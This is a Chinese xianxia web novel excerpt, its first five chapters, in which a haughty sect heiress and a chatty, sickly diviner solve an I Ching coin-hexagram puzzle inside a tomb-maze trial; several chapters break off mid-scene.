《秘境改命,顺便通关》 1. 器墓迷阵 《秘境改命,顺便通关》全本免费阅读 烧了整日的太阳气数将尽,没滋没味向西龟行。 几座病恹恹的坟包参差点缀,为这无垠荒漠更添一抹死气。 一座尤为破败的坟包旁,斜倚着一个少女,十八九岁,容貌不凡。坟包投下暗影,经日光拖拽拉长,攀上少女足尖,眼见要将她吞没。 却听“铮”一声利刃破空,一把环首刀陡然出鞘,瞬息削平了那倒霉坟包的“发顶”。 谢扶光从幻境睁眼,沉静收回无意识挥出的刀,视线接上天尽头的如血残阳,漂亮到锋利的凤眼半垂,一丝不豫流转上眉梢。 未能在日落前苏醒的人将失去此次秘境试炼的资格。 只差一点点。 她没想过会在区区一个幻境里困这么久。 想到幻境,她瞥了眼左腕。 那里干干净净,没有任何特殊痕迹,足以证实幻境中的一切皆为虚妄。 定下心神,她放眼四周,一同进入万里悲丘的一百二十人俱已四下分散,不知影踪。 等等,也不尽然。 谢扶光锐利的视线定在百步之遥,那里还“睡着”一个。 能分辨出是名男子,一袭惹眼的绯色袍子,身量颇高,许是矮小坟头难以招架,他滑倒在地,瘫成很长的一条,此刻一动不动,仍未从幻境醒转。 谢扶光素无管闲事的习惯,此刻也没唤他的意思,冷眼静立在侧,等着看他被传走。 为防弟子试炼中遇险,万里悲丘之内,随处设有传送阵法。 弟子们在入口领取特制的阴玉钥,注入灵力,危急关头粉碎,玉中浸过的灵力逸散,传送阵法即被触发。 试炼正式开始前,另设幻境考验弟子心性,未能赶在日落前苏醒之人,也将作为第一批淘汰者被阵法传出。 天愈发暗了。 试炼要求需等到日落后才会公布,谢扶光耐性不佳,等得厌烦,借着斜阳残照,挑剔地审视起地上的人。 一张冷白美人面,让人想到浸没寒潭的玉,眉眼轮廓较常人略深,浑然天成地镌刻其上,挺直鼻骨下,浅淡唇色天然带三分病气,一副勾人魂又惹人怜的妖孽相。 对着美人,本应心情愉悦,她却莫名不是很高兴。 “咳……咳……” 正要嫌弃地收回目光,“睡美人”兀地呛咳两声,算是醒了。 遥远的天际线,太阳的脑袋尖刚刚巧完全沉入地平。 这人醒得很是时候,掐好了点似的。 【无量阙武皓波、七绝宗花才俊、逍遥宫廖映天出局, 当前秘境剩余人数:柒。】 两行金字浮于夜空。 万里悲丘试炼场三年一开,来的都是当代各宗最拔尖的弟子,今年共一百二十人,随机传送至十二开局秘境,每境分十人。 幻境作为“前菜”,已折损弟子三成,足见正式试炼更不容小觑。 谢扶光握刀的手紧了紧,视线定在浮现金字的虚空,未留意身后幽幽蜿蜒而来的目光。 又等了几息,试炼要求终于浮出。 【此境为器墓迷阵。 闯过即通关,限时十二时辰。】 闯过即通关…… 看似简单明了,实则胜似没说。 怎样算“过”,阵中潜藏什么危机,余下五名弟子在哪,谢扶光一概不知。 身后又传来咳嗽声。 这次很急,搭配粗重的呼吸,听着要断气。 谢扶光不胜其烦,动作染上躁意,“唰”一下旋身回头。 柔弱的病秧子不防受惊,一半咳嗽憋回肺管。 四只眼睛在浅淡夜色里仓皇打了个照面,容不下半句寒暄,地上那个嘴一张,“哇”地就呕了口血。 空气被这口突如其来的老血冻住,凝固好半晌,病秧子先破了冰。 他横过衣袖习惯地锴了锴嘴角,绽开个抱歉的微笑:“初次见面,真是失礼。” 谢扶光:…… 没开打先吐血,脆成这样,真能拿得动剑么? “你,也是来参加试炼的?” 一不留神,她饱满的嫌弃逾越了礼貌范畴。 记事开始,她的脾性就一直很差,宗中不乏弟子偷偷议论,称她是被掌门宠坏的跋扈大小姐。她不以为然,更倾向于自己是个天生天化的坏种。 偶尔几个瞬间她会恍惚,似乎一些躁意与戾气不该属于她,当眉头蹙起时,她感到心脏平和,情绪无波…… “巧了不是!”无辜的病秧子像没听出她话中轻慢,欢快地开口。 他身子骨虽差,精神倒很不错,笑容可掬地一拱手,主动报家门:“在下崔惊厄,师从悲问寺,幸会。” 谢扶光因他缺心少肺的反应怔了一怔,然后才咀嚼起这快要淡出记忆的宗门名,轻嗤着又发了记扎心刀:“悲问寺……太久没听,我还当贵寺散伙了。” 悲问寺历来同明镜台交好,自十年前明镜台的轻尘道长在赦罪大典上发了疯,明镜台日趋式微,悲问寺不知受了什么刺激,也开始自扫门前雪,不再参与仙盟事务。 “谁说不是呢!”对此等辱没宗门的话,崔惊厄非但很赞同,还狠倒了番苦水,“按规矩,今年试炼我们寺再不出人,就要从仙盟册上除名。” “实不相瞒,在下一早相中了乡下良田两亩,包袱都收好了,只等着吉时一到麻溜滚蛋。谁承想,抓阄大事上不慎走了霉运,代表全宗门过来凑数的苦差竟砸到了我头上……” 崔惊厄扯起淡来,呼吸相当顺畅,咳嗽也停了,一张病美人面甚至神采奕奕,血迹未干的唇瓣快速翕动,活泛的思维上下翻飞,几句话已从悲问寺发散到他厨艺一绝的二师兄,又侃向了后山他亲手栽种的油菜花…… 谢扶光越听他鬼扯,越觉此人已不能叫病秧子,简直是个病癫子。 “闭嘴!”她冷声叱他。 崔惊厄立即抿唇噤声,跑马的嘴收放自如。 又静了少顷,谢扶光长睫一扇,状若不经意问:“醒的这么晚,幻境里有什么勾着你不成?” 她问话时,崔惊厄清澈愚蠢的目光狡黠地一闪,瞬息间先映出谢扶光斜斜垂下的眼,又循着那道视线在她左腕缠了一圈,电光石火间未能参出什么玄机,遗憾缩回的同时唇角已勾了个笑出来。 “道友好神通,一猜即中,”瘦长的拇指朝她翘出个风骚弧度,崔惊厄神采飞扬,“我那幻境可不得了,天上下银子呐,哪里叫考验?简直圆梦,但愿长醉不愿醒啊!” 这句其实有点离谱,偏又很合他气质,叫人一时难辨真假。 谢扶光冷眼睇他片刻,依然觉得这张俊脸很不讨喜。 懒得探究,她凉嗖嗖放了句狠话:“你若骗我,我立刻送你出局。” “可不敢,哪那么没眼色,”崔惊厄想来当惯了狗腿子,没被吓着,还丝滑诌来几句恭维,“我观道友气度,定是绝顶高手,又天仓丰满,为有福之相,在下还仰仗道友提携。” “你还会看相?”谢扶光轻嗤。 她生平所受恭维太多,最不 2. 铜钱阵 《秘境改命,顺便通关》全本免费阅读 若将墓阵比作巨网,他们立的位置不算正中,随着“收网”进行,地面塌陷成一个倾斜坡度,谢扶光控制着步伐稳健下行。 相比之下,崔惊厄就很不体面了,这厮险些把嗓子嚎破了音,柔弱美人气质全无。 带着这样一个跟班,谢扶光委实跟着颜面无光。 从腰侧金丝布袋里扯出个金箔样的小薄片,她看也不看抛给崔惊厄:“别叫了!” “金箔”于半空消散,同时一个散发淡金微光的防护罩在崔惊厄身周成形,阻住沿途大小坟包的碰撞。 “天钧罩!”看清她随手扔的物件,崔惊厄登时没见过世面地叫出声,“这种贵重宝贝,你就这么扔给我了?” “我又不需要。”谢扶光刚险伶伶避开一道深坑,嘴硬的尾音有些晃荡。 “太——草率了吧,”崔惊厄一脸肉疼,“天钧罩可是保命的东西,早早用在这儿……啧,可惜了。” “不可惜,我多的是。”谢扶光声音很淡,一副司空见惯模样。 崔惊厄不说话了。 难得他主动闭嘴,谢扶光分了束余光看去,却见这乌鸦嘴神棍一改方才咋呼,两手合十在前额,在这逃命关头不知跳了个什么大神。 谢扶光:…… “你在干什么?” “感恩命运,让我遇见道友你这样阔绰又心软的财神爷。” 说完他还颇懂事地问:“要不要一起进来?我听说天钧罩最多可容纳三人。” 谢扶光不为所动:“这点小考验也要用到天钧罩,我二十年的刀怕是白练了。” 话音刚落,斜前方另一个“白练的”赶巧连滚带爬扑到了二人脚边。 是个姑娘,四肢细伶伶的,看身子骨不像习武之人,她身后还追着枚成了精的铜钱,铡刀似的侧边逮着人一通乱砍。 姑娘人瞧着柔,反应却快,背后长眼似的,总能擦着铜钱劈来的刃滚到一边,一路扛过来人虽狼狈,但乱中有序,愣是油皮没破一层。 朝崔惊厄飞了记眼色,谢扶光一手挥刀拦住铜钱攻势,另一只手提起地上姑娘就扔进了天钧罩。 后来人再进天钧罩需得罩中人向内壁倾注灵力,崔惊厄收回左臂,正对上姑娘打量来的目光。 姑娘双眸澄澈,视线在崔惊厄流转灵力的左腕和腰侧佩剑上兜了个来回,很自来熟地问:“你用左手剑?倒是少见。” “右手不大中用,”崔惊厄笑着甩甩右腕,浑不在意似的自侃,“老废物了。” 他那右手既不残,也没废,还生得格外修长好看,饶是姑娘洞察力过人,也没瞧出怎么个“不中用”法。 想来人各有阴私,她体贴地揭过这一茬,转而问:“谢大小姐怎么不进来?” “谢大……谁?” 这里统共就三人,“谢大小姐”指向是谁其实相当明确,但不妨碍崔惊厄套话。 “渡业山掌门的独女,谢扶光大小姐,你们不是朋友么?” “啊——你说外头那位,真抬举我了,我就是个刚收的跟班。” 崔惊厄拿腔拿调地恍然,心下却在暗忖:渡业山掌门谢白扇时任仙盟盟主,既是他的独女,这位谢大小姐算相当有头有脸的人物,怎的他从没听说? 姑娘“哦”了一声,对他的身份兴趣不大,依然睁着溜圆的葡萄眼问:“那你主子为什么不进来?” “我主……什么玩意儿,用词体面点,”崔惊厄轻啧,“你不懂,我家大小姐可是人中龙凤,自有她的不齿。” 边说,他还朝外头的谢扶光投去与有荣焉的一眼,然后…… 就接到了人中龙凤示意他开天钧罩的眼色。 崔惊厄:…… “大小姐辛苦。”殷勤将谢扶光迎进,崔惊厄主动失忆,自然得像没放过适才的屁。 偏葡萄眼姑娘是个没眼色的,眨巴着纯良的大眼睛,温柔拱火:“你进来了呀!刚刚你的跟班还说,你不齿进来躲。” 谢扶光眉心抽跳。 先前她和崔惊厄一外一里,可以说崔惊厄不堪大用,需要特殊照顾; 如今又加进个姑娘,人两个都钻了罩子,她还一人在外晃荡什么,显她不合群?还是死装现眼? 剜了人闲瞎扯淡的跟班一眼,谢扶光端着大小姐架子,假装没丢过这人。 “道友初来乍到,不先做个自我介绍么?”她不答反问。 “哦,我叫卢笑绒,是灵鹤谷的弟子,此次来万里悲丘不是为争名次的。” 秘境试炼中表现优异者通常会在仙盟担任要职,弟子们为争名次,大打出手都是常事。 卢笑绒身在谢扶光的天钧罩里,算半个寄人篱下,如此说有讨巧卖乖的嫌疑。 但念及她感人的情商……几乎可以打消这一顾忌。 果然,下一句她就打包附赠了一堆家底。 “我来是为找失踪的师兄叶放。” 听到“叶放”的名字,崔惊厄微抬薄薄的眼皮。 谢扶光如常半垂凤眼,纤长眼睫下却渐染三分困惑。 叶放二字,带给她一种极隐晦的熟悉感,可她自诩熟读仙盟八大宗史,却从未耳闻这一人物。 疑惑无从排遣,她再度感到焦躁,微蹙了眉头。 见大小姐这表情,崔惊厄了然七分,逮着机会碎嘴:“这位叶道友原也是灵鹤谷的弟子,只是不曾载入仙盟正规史册,也就瞎翻野史的闲人才略知一二。” “你知道?” “刚巧略有所闻。”崔惊厄谦虚。 “据传他五感极其敏锐,其中以嗅觉尤甚,在当年算个出挑的人物。” “我作证。”卢笑绒插嘴给师兄撑架子。 她口头做个证,都要摆出发毒誓的认真手势,谢扶光面无表情拍掉她的爪子。 “但不知因为什么,”那厢崔惊厄话锋一转,“十一年前他却叛出师门,另建了一个‘天涯何处’,自己翻身当了掌门,还屡次挑衅恩师断离道人。” “我师父说不是的,”听到这儿,卢笑绒摆手,“我师父说,师兄定是在外惹了麻烦,这才与灵鹤谷撇清。” 崔惊厄:…… “我说卢妹妹,”他实在没忍住,“这话可不兴在外头乱抖,你舞得人尽皆知,你师兄不就白撇了?” “我知分寸,”卢笑绒却摇头:“你们帮了我,你们是好人,所以没关系。” “就你这样的脑子,被卖了都得给人数钱!”谢扶光冷嗤。 她自诩反面人物,见不得这号的纯良。 “一码归一码,你要是卖了我,下回我自然就不信你了。”卢笑绒有自己的处事原则。 “油盐不进!” 又涌上一阵烦躁,谢扶光忿忿跺了下脚,语气更加不好:“罢了,既然碰见,这一场你就一直跟着我,起码我还没那闲情逸致卖你。” “好!”卢笑绒笑了,一对甜酒窝看得人没脾气,“我愿意跟着你。” “麻烦……”谢扶光嘴上这样嘀咕,面上却未见不豫。 这厢大小姐刚和两个跟班达成友好同盟,对面就俯冲而下两名弟子,二人一路专心互殴,间或分神躲一躲沿途坟包,活像一对边飞边掐的斗鸡。 “巨网”已收得差不多,左右两侧也各下来一名弟子,眼见器墓迷阵剩的七人就要在谷底碰头。 3. “开门红” 《秘境改命,顺便通关》全本免费阅读 渡业山大小姐声名远播,当然不单纯因为她是谢白扇的女儿。 作为这一代公认的刀修第一人,谢扶光的资质不亚于二十年前的无失圣手颜琅。 她只是技能全点在了刀上,不似崔惊厄有着咳血种地当神棍的传奇履历,对卦象这等玄之又玄的东西了解甚少,但脑子转得绝对不慢,经崔惊厄一提醒,便能猜出七成。 说话间众人齐聚迷阵最低点,脚下山摇地动的变动终于停了,六枚铜钱呈环形围聚成圈,活像六胞胎兄弟,正反面也如出一辙。 “大神棍,那个什么鱼入网的卦辞对应哪一卦象?”谢扶光一句话,崔惊厄又多了个诨号。 “第三十二卦,雷风恒。”崔惊厄如数家珍。 “你倒是熟,”谢扶光快走两步来到天钧罩边沿,出去前回头叮嘱,“我去碰碰运气,你盯紧周围变化。” “遵命!”崔惊厄饶有兴致地眨眨眼,“大小姐好运!” “收网”危机暂且解除,左右两侧下来的两位仁兄心有余悸扶膝低喘,气还没顺匀,就见前方一抹潮水蓝色身影飒然而至。 谢扶光身量纤细,胆子却甚肥,以集市挑西瓜的悠然绕着六枚铜钱踱了一圈,身后金色罩子里,崔惊厄一袭惹眼红衣,正跳着大神给她祈好运,人面衣裳相映骚。 “后面那人疯了?”左边下来的人圆脸富态,揩着汗问。 右边那个冷哼一声:“我看前面的也不正常。” 他话音刚落,就见前头的谢扶光似没挑中心仪的“好瓜”,回手抄刀,极随意地就将其中一枚铜钱拨翻了面。 与卢笑绒遇到的情况不同,这一拨丝毫不曾受阻,就像铜钱们闹了那么久,终于累了,安静了。 然而地面并没有与铜钱一起静下来。 不待谢扶光挥刀的手落下,六枚铜钱范围以外的地面瞬时崩裂,塌陷成不见底的巨坑,仅余几名弟子站立的位置还剩几点落脚之处,与铜钱下的核心区域通过一条窄道相连,宽度不超过半只脚掌。 即便如此,窄道也摇摇欲坠,仿佛下一秒也要崩为深渊。 “我嘞个娘嘞!”圆脸兄吓得几欲失禁,憋住的尿意尽化颤音嚎了出来,“我怕高啊!” “救命啊!我也怕呀!”崔惊厄与他遥遥相和,同样叫得惨绝人寰。 圆脸兄泪眼汪汪看向这位同道知音,就见病秧子边嚎边敏捷地从独木桥上大步跨了过来,期间还不忘打手势指导后头的卢笑绒。 圆脸兄:…… 圆脸兄有种被欺骗的忧伤。 地面崩颓,每人所处位置仅余窄道与中心相连,像极了独木桥的设计。 崔惊厄渡“桥”同时,六十四卦的卦辞在心下速过一遍,他从中摘出这样一条: “行人路过独木桥,心内惶恐眼里跳。爽利保保过得去,慢行一步不安牢。” 是雷山小过的卦辞。 在谢扶光身侧立定,他回头扬声提点圆脸兄:“道友,建议你快些走。” “第几个?”谢扶光言简意赅。 “顺序第五,从正拨到了反。”崔惊厄说完,嘴欠调侃,“大小姐真有您的,除了这枚,其余五个您闭眼拨,哪个都是吉卦。” 借由环境变化反推卦辞,谢扶光这一刀,将卦面“反反正正正反”的雷风恒拨成了“反反正正反反”的雷山小过。 由此不难判断她随手拨动的铜钱位居卦面第五位,此刻是反面朝天,其余一二三四六号位则维持反反正正反面。 这样一试,六枚铜钱的正反和顺序就都已确定了。 “谢白扇的女儿天生戾气重,不怎么与吉利沾边,你没听说过么?”闻言,谢扶光意外没有动怒,扬着高傲的下巴,一副跟人骂架的架势,说的话却让人挺不是滋味,“看不惯别跟着我啊,我巴不得没你们两个麻烦。” 无辜躺枪的小麻烦卢笑绒:??? 她第一时间表态:“是他说的,我看得很惯。” 被四只眼睛盯着,崔惊厄:…… “我嘴欠胡说的,怎么还扯吉不吉利上了?”他语调天然带三分吊儿郎当,乍听不太靠谱,话流经耳廓却意外熨帖,“况且我一见你不就说了,我们大小姐是有福之相,你怎么只听坏的不记好的呢?” 谢扶光自幼习惯被虚伪奉承,可崔惊厄的这句跟别人明显不太一样,更像…… “你在哄我?”她感到有点诡异。 “没有的事,实话实说。” 谢扶光不是很擅长处理这种类型的对话,只矜持地“嗯”了一声,看似淡定,实则大脑有一瞬放空——真稀奇,她居然疑似被哄。 事实表明,大小姐智慧的脑袋不能容许有太久空闲,难得一次放空很快被一长串杀猪般的嚎叫打断。 是圆脸兄正惨白着脸沿“独木桥”向他们猪突猛进。 前来参加试炼的都是各宗精挑细选出的优秀弟子,崔惊厄这种情况毕竟是极少数,圆脸兄纵然畏高,却不至因此出局。 不多时,阵中剩的五名弟子已齐聚六枚铜钱周围,空间本就不大,人一多愈显逼仄,更遑论崔惊厄和卢笑绒周身一只饱满浑圆的天钧罩还散发着瞩目金光。 圆脸兄身边的那位面色黑如锅底,依崔惊厄看,这才是真正的戾气丰沛,对比之下,大小姐脸臭时的小表情堪称可爱。 他扯唇微哂。 黑脸开口,说的话跟脸色一样味儿冲:“把秘境糟践成这样,你们倒无所谓,总归有宝贝护身,我们两个就惨了,只能靠肉身硬扛。不会一早商量好了吧,用毁秘境的下作手段逼其他人出局?仙盟若交到你们这种人手里,我看离倾覆也不远了。” 黑脸大放厥词时,圆脸兄猛扯他袖口,五官纠结出一副便秘相。 “那是渡业山的大小姐……” “大小姐又如何?不就仗着有个好爹?我范莘最看不起这种倚仗家世耀武扬威之人!”黑脸黑黑的脸上写满不屑,乍一瞧竟颇具志气,“不用拽我,我早听说这种试炼最终胜出者都是内定好的,没有公平可言,仙盟乌烟瘴气至此,我本也无意多待,还怕得罪什么大小姐么?” 空气近乎凝结,崔惊厄瘦长的爪子蠢蠢欲动,正纠结用不用给大小姐再顺个毛,谢扶光皓腕已然一转,刀尖拿捏着力道在黑脸范莘的阴玉钥上敲了一下,不轻不重,留下个浅淡印子,但没有灵力逸出。 “要你出局还需耍手段?你算个什么人物么?” 4. 山地剥 《秘境改命,顺便通关》全本免费阅读 同行大半夜,谢扶光已适应了崔惊厄没溜的嘴,对此见多不怪。 她在思索那句“卦占行人不久还”。 故人归来之意。 这是开局第一卦,谢扶光拨动的那刀只是个开关,按卢笑绒的说法,首卦不可随意更改,且她的铜钱是自动翻面,她不曾干涉,其余几人应当也是如此,说明这一卦象是阵法自己有意生成; 在这一卦象下,除去互殴找死的两人,其余弟子虽狼狈却并无损伤,卦象造成的变动停下时,分散的众人齐聚。阵法造出这一卦象既不为伤人,那又是因为什么呢? 难不成……是传达某种信息? 那后半句“行人不久还”的意思就很耐人寻味了。 “在万里悲丘,可曾走失过什么人?”谢扶光斟酌着问。 她问话一出,天钧罩内,始终不声不响沉默着的卢笑绒黯然地垂下眼睫。 “我听说,”周围两个外人,卢笑绒话说得避嫌,“天涯何处的叶放仙长是在万里悲丘不见的。” 崔惊厄没有讲完,八年前,天涯何处遭逢大火,水扑不灭,灵力压不下,连烧七天七夜,灼尽了叶放的全部基业。 幸而叶放风评不佳,天涯何处又只是个没什么名气的新生宗门,门中弟子寥寥。出事时弟子们正巧分散在山下办事,都侥幸躲过一劫。 至于叶放本人的归宿,众说纷纭。 卢笑绒既为寻他而来,想来“消失于万里悲丘”的版本应是真的。 “你知道什么?”黑脸范莘许是患了不杠不成活的怪症,不敢再对上谢扶光,逮着外形柔弱的卢笑绒一通阴阳,“姓叶的早在大火里烧成灰了,不是什么东西都配称一声‘仙长’,出来丢人前倒是先跟长辈学学怎么说话。” 敢凶她的跟班,谢扶光很不爽。 正打算教训两句,没想到卢笑绒先开了口。 “烧成灰了?你亲眼看见的?那凶手是谁?仙盟调查时怎不见你出来指认?”卢笑绒声线柔软目光懵懂。 “我……我虽没看见,但大家都这么说。” “你我所说既都是无稽之谈,那请问你又在高贵什么?”卢笑绒微歪脑袋礼貌询问。 范莘一张丑脸青白交加,嘴唇翕张半晌,再说不出话。 “大神棍,别看热闹了。” 见那边消停下来,谢扶光提刀在崔惊厄眼前轻挥,冷铁刀身与天钧罩相映出绮丽薄光,晃过他沉静眉眼,如湖心乍现一颗星。 她怔了一怔,恍惚感到左腕一丝隐痛,一闪即逝,似一场荒诞错梦。 “还有其他和‘故人归来’相关的卦辞么?”因这一瞬错愕,她的话比平时慢,听来竟显得温柔。 崔惊厄略作沉吟:“有几卦相似的。” 他说出那几卦的卦面,谢扶光刀尖舞得飞快,但听铜铁相击一串泠响,几息间卦面已换了数回。 她打出卦辞类似“行人不久还”的卦面,尝试与铜钱呼应,以此方式达成交流。 这几卦都是吉卦,脚下没再搞地动山摇的大阵仗,可也没别的变化,局面仿佛僵住了。 看来她想错了。 谢扶光收刀抿唇,此路不通,一切再退回原点。 范莘脸色愈发难看。 不止为无头绪的迷阵,更因谢扶光。 他也是刀修,坦白讲,论刀法之快,他远不及谢扶光。 偏她还刀刀不曾落错落空,六枚铜钱上下左右一个样,又呈环形排列,寻常人光是见了都要晕头转向,她却掌控得游刃有余。 渡业山大小姐竟真不是浪得虚名。 “相似的就这么几个?”对此结果,谢扶光不太满意。 “我的大小姐啊,”崔惊厄摊手,“六枚铜钱,统共不过六十四卦面,能有这么些,已经很给‘行人’‘故人’们面子了。” “说得也是……”谢扶光看似接受了他的解释。 然后,下一句她说:“既然统共就六十四卦面,那挨个儿试试吧。” 她话音落下时,圆脸兄犹在吐着舌头扇风。 这位仁兄身形略显富态,稍一活动,就要汗液长流,这会儿还没从方才那阵跑缓过来。 他看着谢扶光,似有街要骂,又不敢直抒这明显找揍的胸臆,生生憋出一副衰相。 谢扶光余光扫这怂蛋一眼,两相比较,崔惊厄一时都耐看了许多。 这病秧子很神奇,嘻皮涎脸地做小伏低,也不让人觉着他腰杆是折的。 大小姐既发话,崔惊厄兴奋地搓搓手:“那就从我最喜欢的水/雷屯开始吧,为数不多的下下签,先提醒大家,卦辞里有句‘风刮乱丝不见头’,按照卦辞现实一一对应的规律,等会儿怕是要起大风,罩外面的朋友们护好自己的脑袋啊~” 说完,他还不忘问谢扶光:“大小姐要不要进来避避?” 这话太癫,谢扶光都听不下去了。 “喜欢下下签,你什么毛病?” “大小姐有所不知,”崔惊厄狡黠地眨眨眼,“我们做神棍的,最爱出下下签了,客人会给银子消灾哒!” “你拿这一套来坑我?”谢扶光刚缓和一点的面色又沉下来。 崔惊厄抿嘴,片刻后乖巧改口:“考虑不周,真是对不起,那重来,从上上签开始。” 谢扶光不再反对,一旁心惊胆战的圆脸兄也跟着长舒口气。 六十四卦中,上上占十六。 十六卦轮流过,无事发生。 谢扶光待人虽耐性不佳,行事却颇沉得住气,只淡声吩咐:“换中上。” 她不急,有人却找不愉快了。 范莘冷眼看着她跟崔惊厄一通忙活后无果,眉梢竟扬起三分得意,低声嘲弄:“搞得花里胡哨,不也没什么用?” “别急啊,还没试完呢,”崔惊厄耳朵尖,一张巧嘴百忙之中抽空回敬,“还有,提个建议,干吃闲饭不干活的就安静闭上嘴吧。” 被渡业山大小姐损上两句没什么,可崔惊厄算什么东西? 一个肩不能扛手不能提的无耻神棍,成天琢磨怎么多坑点银子的货色,也配嚼他的舌根? 范莘本就不平的心头登时火起。 “我倒有心帮忙,是你们一直霸着这阵法不放。”他过嘴瘾说。 闻言,谢扶光停下动作,她意外没有动怒,甚至堪称随和。 “你既执意找死,那么,请。” 说着,她抱臂随崔惊厄避进天钧罩,当真撂了挑子,徒留范莘与倒霉的圆脸兄面面相觑。 范莘:…… 他有点后悔,耍刀他不如谢扶光,这些神神道道更是一窍不通,对这六枚铜钱,他是半分无从下手。 无奈被强赶上架,为着面子,他也只好拔刀一赌。 他咬牙发狠,挑起距离最近那枚铜钱翻了个面。 并无异象。 绷得死紧的神经松懈下来,他把掌心湿汗蹭在衣襟,陡然间,一股猛烈的情绪炸在胸腔: 渡业山 5. 黑“明珠” 《秘境改命,顺便通关》全本免费阅读 “两个疯子……” 谢扶光嘴上低骂,手脚却没闲着,大步跨出天钧罩的同时,左侧袖口已飞出一支袖箭。 她箭术与判断力俱是超群,饶是那厢两人犹在缠斗,箭尖依然插着空隙钻入,直抵圆脸兄的阴玉钥。 “啪嗒”一声玉碎轻响,无色灵气逸散,眨眼功夫,圆脸兄已维持着打斗姿势仓皇出局。 “敌人”凭空消失,范莘一双血红的眼四下梭巡,很快锁定谢扶光。 谢扶光没兴趣单方面吊打他,尤其侵蚀神志的幽幽黑气仍在她周身盘桓窥伺。 右腕一转,环首刀旋着漂亮的刀花直冲铜钱阵而去。 她的打算是先拨回之前位置,解了内讧危局要紧。 “反正反正正正!”临到阵前,却听崔惊厄适时出声,“中上第五卦,水天需。” 刀尖一顿,锋刃丝滑回转,谢扶光利落地把铜钱阵拨到他说的需卦。表情不显,仔细看,眉眼却温和了几分。 她生平一厌管闲事,二憎无用功。 明知先前的卦象无益破阵,为解当下之危仍选择倒退回去,会让她有种向困境妥协的不舒服。 二十年来,谢扶光习惯单打独斗,不曾跟谁交好,更没与人默契配合过。 崔惊厄喊话的时机恰到好处,带给她一种新奇的愉悦。 这厢阵法变动,身后盯紧她的范莘怔愣少顷,反应过来脚下一个急刹,堪堪止住拎着刀找死的步伐。 天钧罩内卢笑绒画圈圈的手也停了,脚底抹着地面罪证,面上还朝被她诅咒了八百遍的崔惊厄露出一个和善笑容。 崔惊厄:…… 完全不想看她笑。 正打算好好跟她掰扯一番:明明是三个人的天钧罩,地上凭什么只写他一个人的名。 地面就在这时遽然摇晃起来,阵仗较前两次更剧烈,像有什么深埋已久的东西在挣扎着破土而出。 与此同时,空中黑雾四散,罡风大作,看架势,不似什么正派东西要登场。 水天需有个吉祥如意的卦辞: “明珠土埋日久深,无光无亮到如今,忽然大风吹土去,自然显露有重新。” 崔惊厄:…… 妖风满天,黑雾乱窜。 他合理怀疑,那“明珠”也不是什么好鸟。 然而,及时止损已不能够。 盘绕飘浮的六枚铜钱……突然消失了。 又一阵排山倒海的动静,地面恢复为塌陷前的原貌,唯一不同的是,原本分散的坟包一个个长了脚似的,向中心密集聚拢。 阴风呼啸,黑气喧嚣,整个迷阵登时变作一片拥挤坟场,置身其间几乎无从落脚。 “我说,地下的诸位,”崔惊厄跳脚躲着乱窜的坟包,嘴上仍不闲着,“住的太挤影响风水啊。” 变生陡然,天钧罩内尚且兵荒马乱,罩外只会更凶险。 罡风贴面剐过,谢扶光下意识闭了闭眼,一道剑气瞅准破绽接踵而至,露出凶恶的獠牙,眼见就要袭上她面门。 “危险!” 剑气无形,穿破黑色天穹,像一道透明波纹,旁观者本极难捕捉。相隔一层天钧罩,卢笑绒却惊呼出声。 电光火石间,多年习武本能使然,谢扶光凭直觉挥刀,挡去九分剑气,余下一分擦过她手背,一道深邃创口登时绽开。 血气弥散,眼前浓如黛墨的黑雾循腥气涌来,贪婪吞噬她伤处血液,雾障裂开一个缺口。 谢扶光没理会手上的伤,视线由缺口探入,直逼黑雾中心,影影绰绰看见一片刀剑之类的冷兵刃。 【此境为器墓迷阵】 试炼刚开始时,空中出现过的金字跃然脑海。 “所以……这些都是出坟的法器?”她垂眸思索。 黑雾中心的法器不少,挤在一处很难看清。 但谢扶光耳聪目明,又自幼过目不忘,她牢牢盯住其中一把剑,一股幽微的熟悉感油然而生,总觉得在哪儿见过。 想再看清些,她右腕一转,刀身回收,正要以左掌擦过锋刃,用鲜血吸引更多黑雾,开出一条向中心的通路。 左臂兀地遭蛮力强扯,天旋地转间一道金光闪逝,重新站定时,她人已入了天钧罩,环首刀再次抵上幕后“黑手”崔惊厄欠削的脖颈。 “不好好缩着,谁准你擅自行动?”行事被打断,谢扶光不太高兴。 崔惊厄两根手指小心翼翼夹着她的刀身往远移了移,这才喘匀了气。 深邃的桃花眼朝她手背伤处无辜眨巴两下,他说:“你受伤了——” 谢扶光拧眉,好似受伤是件再小不过的事,因一点小伤躲进来,简直是在侮辱人。 “大惊小怪什么?我会没准备么?”说着,她从怀中摸出一瓶补血丹药,倒出两粒干咽下去,“这点伤,不会影响后续破阵。” 崔惊厄听罢,有点无奈地轻叹口气:“可你不疼么?” 他说话时,卢笑绒已撕下条干净布带,像捧着块价值连城的和氏璧,极仔细地将她左手包扎起来,还打了个娇俏的蝴蝶结。 谢扶光:…… 强抑住拆掉布带的冲动,她很不自在地甩甩手。 又是一个她不擅于处理的场面——从小到大,她受伤受累时从没受过这样的关心。 果然,父亲说得没错,跟人打交道最是麻烦! 因谢扶光的沉默,天钧罩内寂静少顷。 这时候就显出崔惊厄的话痨有用了。 “大小姐是在黑雾中心发现了什么?” 他斗胆揣度“圣意”。 “那里聚集着许多法器,”这没什么可隐瞒,谢扶光如实说,“应该是墓里出来的,其中有把剑……我从前好像在哪儿见过。” 不安的熟悉感勾着她,越想,她越觉有必要再仔细看看。 “这雾障确实碍事了。”崔惊厄左臂横在身前支住右肘,右手食指第二根指节轻蹭下巴,“有什么东西能克它么?” 谢扶光抬眼。 先前不拿受伤流血当事,她便没探索过克制黑雾的其他路子,经崔惊厄这一提,她确实想到些值得玩味之处。 日落前,这片坟场静如死鸡,偏等到月上柳梢开始闹腾个不休。 万里悲丘之内,不同秘境间的时间并不同步,是早是晚全凭试炼需要。 如此想来,将试炼正式开始的节点设在日落以后,便也很耐人寻味了。 渡业山作为当今修真界最大的宗门,相当阔绰,谢扶光这个大小姐身上更少不了天材地宝。 她从金丝布袋抽出一沓明黄符咒,挑出其中一张,单手伸出天钧罩,右腕一转,用灵力燃了,抛向黑雾弥漫的夜空。 这道符名“日现暝昏”,可于暗夜模拟旭日效果。 首创者是明镜台那位疯了的轻尘道长,据传他当年拜倒在一葵花妖裙下,自古葵花向阳,此符便是为她所创。 时人对这段情事深深唾弃,用此符时总要叹上两句“轻尘误入歧途,真是可惜”。 谢扶光不似他们操八家子心管八家子事,用个符,还得品评一番创符者择偶的眼光。 每回用这道“日现暝昏”,她只由衷感叹轻尘真是个画符奇才。 